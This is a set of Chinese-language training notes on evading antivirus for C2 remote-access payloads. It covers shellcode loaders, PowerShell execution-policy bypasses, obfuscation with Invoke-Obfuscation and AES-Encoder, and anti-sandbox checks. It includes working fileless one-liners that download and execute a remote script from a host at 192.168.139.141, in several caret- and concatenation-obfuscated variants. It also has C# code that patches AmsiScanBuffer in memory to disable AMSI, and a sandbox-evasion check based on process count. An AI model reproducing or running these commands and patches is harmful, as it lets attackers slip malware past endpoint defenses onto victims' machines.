免杀对抗-C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征
#C2远控-ShellCode-认知&环境
1.创建工程时关闭SDL检查
2.属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD
3.属性->C/C++->代码生成->禁用安全检查GS
4.关闭生成清单 属性->链接器->清单文件->生成清单 选择否
#C2远控-ShellCode-分析&提取
ShellCode的本质其实就是一段可以自主运行的代码。
它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,
因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。
目的:杀毒和感知平台如何定性
分析:OD&xdb&ida
提取:010Editor
加载:各种Loader方法执行
流程:ShellCode->Loader->EXE
思路:
1、Shellcode自写打乱-让杀毒不认识
2、Shellcode加密混淆-让杀毒不知道
3、Shellcode分离隐藏-让杀毒找不到
4、Shellcode注入回调-让杀毒绕圈圈
内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的ShellCode通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。
补充:
编辑器设置 VS
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
编译器差异 G++ GCC
https://blog.csdn.net/weixin_41012767/article/details/129365597
突破内存扫描
项目参考:https://github.com/wangfly-me/LoaderFly
360开启核晶(Vmware)
https://blog.csdn.net/fishfishfishman/article/details/134156418
对抗杀毒和感知云沙箱
常见沙盒沙箱检测技术
常见调试分析检测技术
https://github.com/a0rtega/pafish/
https://github.com/Arvanaghi/CheckPlease
https://github.com/wanttobeno/AntiDebuggers
https://github.com/LordNoteworthy/al-khaser
https://github.com/ZanderChang/anti-sandbox
https://github.com/nek0YanSu/CheckVM-Sandbox
https://github.com/sunn1day/malware-anti-techniques
https://bbs.kanxue.com/thread-225740.htm
https://anti-debug.checkpoint.com/techniques/debug-flags.html
Set-ExecutionPolicy Restricted
(1) 本地读取并以管道符运行
powershell Get-Content HelloWorld.ps1 | powershell -NoProfile -
(2) Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File HelloWorld.ps1
(3) Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File HelloWorld.ps1
➢C2远控-PowerShell文件-冷门混淆器&去特征
参考:https://mp.weixin.qq.com/s/LewH-drqCrVg7wjNxkTTiw
参考:https://mp.weixin.qq.com/s/q-4ME5x75rjTRwN6BVpLVQ
参考:https://mp.weixin.qq.com/s/9dFtRkxo74x7G3kIV7vXBg
1、混淆加分离(X86)
$DoIt=((New-Object System.Net.Webclient).DownloadString('http://xx/ps.txt'))
$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))
2、改特征换混淆(X64)
Powershell -ExecutionPolicy Bypass # 管理员执行
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath 64.ps1
token # 部分混淆
all
1
out 1.ps1 # 结果输出文件
encoding # 部分混淆
5
out 2.ps1 # 结果输出文件
3、改特征换冷门混淆器
https://github.com/Chainski/AES-Encoder
Import-Module ./AES-Encoder.ps1
Invoke-AES-Encoder -InFile .\64.ps1 -OutFile 64x.ps1 -Iterations 3
➢C2远控-PowerShell无文件-分割&AMSI&ETW
引用隔壁课件及参考:
参考:https://mp.weixin.qq.com/s/LewH-drqCrVg7wjNxkTTiw
参考:https://mp.weixin.qq.com/s/tdfTYnatU5mCIy4D3jKDhw
参考:https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
1、命令混淆分割
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.139.141:8089/xd'))"
-大小写&命令拆分
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19’+'2.168.139.14'+'1:8089/xd'))"
-大小写&反引号处理
cmd /c echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://192.168.139.141:8089/xd')) | p^o^w^e^r^s^h^e^l^l -
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19’+'2.168.139.14'+'1:8089'+'/xd') | p^o^w^e^r^s^h^e^l^l -
-利用环境变量:
见参考文章实例
2、利用C#程序混淆分离加载
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:ps.exe .\ps.cs
ps.exe base64(IEX xxxxxx)
3、升级抗沙箱绕AMSI
反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。
在PowerShell无文件攻击流行了一段时间后,微软在Windows 10中引入了AMSI(Antimalware Scan Interface)接口,经过几年的更新迭代,到目前为止,基本所有比较知名的PowerShell编写的攻击工具都会被Windows Defender拦截,比如PowerSploit,PowerView,cobaltstrike的PowerShell payload等。
VS创建NET窗体应用
项目加入引用依赖DLL
修复错误代码编译打包
ps.exe -s base64(IEX xxxxxx)
参考:https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
// 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。
public static void chaching()
{
// 加载amsi.dll
IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
// 获取AmsiScanBuffer函数的地址
IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
uint p;
// 修改AmsiScanBuffer函数的内存保护属性
VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
// 准备新的函数字节码
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// 将新的函数字节码复制到AmsiScanBuffer函数的地址
copy(Patch, Address);
Console.WriteLine("Patch Applied");
}
// 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)
if (Process.GetProcesses().Length < 40)
{
Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
Environment.Exit(0);
}
3、继续升级抗沙箱及ETW
参考:https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
#补充:PowerShell脚本转EXE